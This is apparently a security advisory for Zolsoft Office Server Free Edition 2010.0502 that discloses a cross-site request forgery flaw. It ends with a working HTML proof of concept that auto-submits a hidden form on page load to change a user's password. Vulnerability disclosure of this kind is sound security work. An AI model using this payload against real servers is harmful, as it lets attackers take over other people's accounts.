Zolsoft Office Server Free Edition version 2010.0502 suffers from a cross site request forgery vulnerability.
3322659f39a07946ac87618a0eaa1d2721658df7b1ccadad036ab3c9b1e6433b<!--===============================================================================================#
# #
# $$$$$$$\ $$\ $$\ $$\ $$$$$$\ #
# $$ __$$\ \__| $$ | $$ | $$ __$$\ #
# $$ | $$ |$$\ $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$ | $$ / $$ | #
# $$$$$$$\ |$$ |$$ _____|$$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ | $$$$$$$$ | #
# $$ __$$\ $$ |\$$$$$$\ $$ / $$ |$$ | $$ |$$$$$$$$ |$$ | $$ |$$ / $$ |$$ | $$ __$$ | #
# $$ | $$ |$$ | \____$$\ $$ | $$ |$$ | $$ |$$ ____|$$ | $$ |$$ | $$ |$$ | $$ | $$ | #
# $$$$$$$ |$$ |$$$$$$$ |$$$$$$$ |$$ | $$ |\$$$$$$$\ $$ | $$ |\$$$$$$ |$$ | $$ | $$ | #
# \_______/ \__|\_______/ $$ ____/ \__| \__| \_______|\__| \__| \______/ \__| \__| \__| #
# $$ | #
# $$ | Plastics Make It Possible #
# \__| #
# #
#==================================================================================================#
# #
# Vulnerability............XSRF #
# Software.................Zolsoft Office Server Free Edition 2010.0502 #
# Download.................http://www.zolsoft.com/downloads/OfficeServer_Free.zip #
# Date.....................5/6/10 #
# #
#==================================================================================================#
# #
# Site.....................http://cross-site-scripting.blogspot.com/ #
# Email....................john.leitch5@gmail.com #
# #
#==================================================================================================#
# #
# ##Description## #
# #
# A cross-site request forgery vunlerability in the Zoloft Office Server Web UI can be exploited #
# to change the password of a user. #
# #
# #
# ##Proof of Concept## --!>
<html>
<body onload="document.forms[0].submit()">
<form action="http://localhost/options3.htm" method="post">
<input type="hidden" name="PassField1" value="new_password" />
<input type="hidden" name="PassField2" value="new_password" />
</form>
</body>
</html>
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed